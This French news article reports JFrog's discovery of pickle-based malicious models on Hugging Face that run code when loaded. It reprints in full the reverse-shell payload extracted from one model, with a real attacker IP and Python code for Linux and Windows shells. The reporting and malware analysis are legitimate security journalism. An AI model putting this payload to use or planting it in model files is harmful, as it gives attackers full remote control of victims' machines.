Hugging Face, le GitHub de l’IA, hébergeait du code qui détournait les appareils des utilisateurs

Getty Images

Le code téléchargé sur la plate-forme de développement d’IA Hugging Face a installé secrètement des portes dérobées et d’autres types de logiciels malveillants sur les machines des utilisateurs finaux, ont déclaré jeudi des chercheurs de la société de sécurité JFrog dans un rapport qui est probablement un signe avant-coureur de ce qui va arriver.

Au total, les chercheurs de JFrog ont déclaré avoir trouvé environ 100 soumissions qui effectuaient des actions cachées et indésirables lorsqu’elles étaient téléchargées et chargées sur l’appareil d’un utilisateur final. La plupart des modèles d’apprentissage automatique signalés, qui n’ont pas été détectés par Hugging Face, semblaient être des preuves de concept inoffensives téléchargées par des chercheurs ou des utilisateurs curieux. Les chercheurs de JFrog ont déclaré dans un e-mail que 10 d’entre eux étaient « véritablement malveillants » dans la mesure où ils effectuaient des actions qui compromettaient la sécurité des utilisateurs lors du chargement.

Contrôle total des appareils des utilisateurs

Un modèle a suscité des inquiétudes particulières car il ouvrait une coque inversée qui donnait à un appareil distant sur Internet le contrôle total de l’appareil de l’utilisateur final. Lorsque les chercheurs de JFrog ont chargé le modèle dans une machine de laboratoire, la soumission a effectivement chargé un shell inversé mais n’a pris aucune autre mesure.

Cela, l’adresse IP de l’appareil distant et l’existence de coques identiques se connectant ailleurs soulèvent la possibilité que la soumission soit également l’œuvre de chercheurs. Un exploit qui ouvre un appareil à une telle falsification constitue cependant une violation majeure de l’éthique des chercheurs et démontre que, tout comme le code soumis à GitHub et à d’autres plateformes de développement, les modèles disponibles sur les sites d’IA peuvent présenter de sérieux risques s’ils ne sont pas soigneusement examinés au préalable.

« La charge utile du modèle accorde à l’attaquant un shell sur la machine compromise, lui permettant de prendre le contrôle total des machines des victimes via ce que l’on appelle communément une » porte dérobée «  », a écrit David Cohen, chercheur principal chez JFrog. « Cette infiltration silencieuse pourrait potentiellement donner accès à des systèmes internes critiques et ouvrir la voie à des violations de données à grande échelle ou même à l’espionnage d’entreprise, affectant non seulement des utilisateurs individuels mais potentiellement des organisations entières à travers le monde, tout en laissant les victimes totalement ignorantes de leur état compromis. .»

Une machine de laboratoire configurée comme un pot de miel pour observer ce qui se passe lorsque le modèle est chargé.

Une machine de laboratoire configurée comme un pot de miel pour observer ce qui se passe lorsque le modèle est chargé.

JFrog

Secrets et autres données d'appât que le pot de miel a utilisés pour attirer l'acteur menaçant.
Agrandir / Secrets et autres données d’appât que le pot de miel a utilisés pour attirer l’acteur menaçant.

JFrog

Comment Baller432 a fait

Comme les neuf autres modèles véritablement malveillants, celui présenté ici utilisait le pickle, un format reconnu depuis longtemps comme intrinsèquement risqué. Pickles est couramment utilisé en Python pour convertir des objets et des classes dans un code lisible par l’homme en un flux d’octets afin qu’il puisse être enregistré sur le disque ou partagé sur un réseau. Ce processus, connu sous le nom de sérialisation, offre aux pirates la possibilité d’introduire du code malveillant dans le flux.

Le modèle qui a généré le shell inversé, soumis par une partie portant le nom d’utilisateur baller432, a pu échapper au scanner de logiciels malveillants de Hugging Face en utilisant la méthode « __reduce__ » de pickle pour exécuter du code arbitraire après le chargement du fichier modèle.

Cohen de JFrog a expliqué le processus dans un langage beaucoup plus techniquement détaillé :

Lors du chargement de modèles PyTorch avec des transformateurs, une approche courante consiste à utiliser la fonction torch.load(), qui désérialise le modèle à partir d’un fichier. En particulier lorsqu’il s’agit de modèles PyTorch formés avec la bibliothèque Transformers de Hugging Face, cette méthode est souvent utilisée pour charger le modèle avec son architecture, ses poids et toutes les configurations associées. Les transformateurs fournissent un cadre complet pour les tâches de traitement du langage naturel, facilitant la création et le déploiement de modèles sophistiqués. Dans le contexte du référentiel « baller423/goober2 », il semble que la charge utile malveillante ait été injectée dans le fichier modèle PyTorch à l’aide de la méthode __reduce__ du module pickle. Cette méthode, comme démontré dans la référence fournie, permet aux attaquants d’insérer du code Python arbitraire dans le processus de désérialisation, conduisant potentiellement à un comportement malveillant lors du chargement du modèle.

Après analyse du fichier PyTorch à l’aide de l’outil fickleling, nous avons réussi à extraire la charge utile suivante :

RHOST = "210.117.212.93"
RPORT = 4242

from sys import platform

if platform != 'win32':
    import threading
    import socket
    import pty
    import os

    def connect_and_spawn_shell():
        s = socket.socket()
        s.connect((RHOST, RPORT))
        [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
        pty.spawn("/bin/sh")

    threading.Thread(target=connect_and_spawn_shell).start()
else:
    import os
    import socket
    import subprocess
    import threading
    import sys

    def send_to_process(s, p):
        while True:
            p.stdin.write(s.recv(1024).decode())
            p.stdin.flush()

    def receive_from_process(s, p):
        while True:
            s.send(p.stdout.read(1).encode())

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    while True:
        try:
            s.connect((RHOST, RPORT))
            break
        except:
            pass

    p = subprocess.Popen(["powershell.exe"], 
                         stdout=subprocess.PIPE,
                         stderr=subprocess.STDOUT,
                         stdin=subprocess.PIPE,
                         shell=True,
                         text=True)

    threading.Thread(target=send_to_process, args=[s, p], daemon=True).start()
    threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start()
    p.wait()

Hugging Face a depuis supprimé le modèle et les autres signalés par JFrog.

Source-147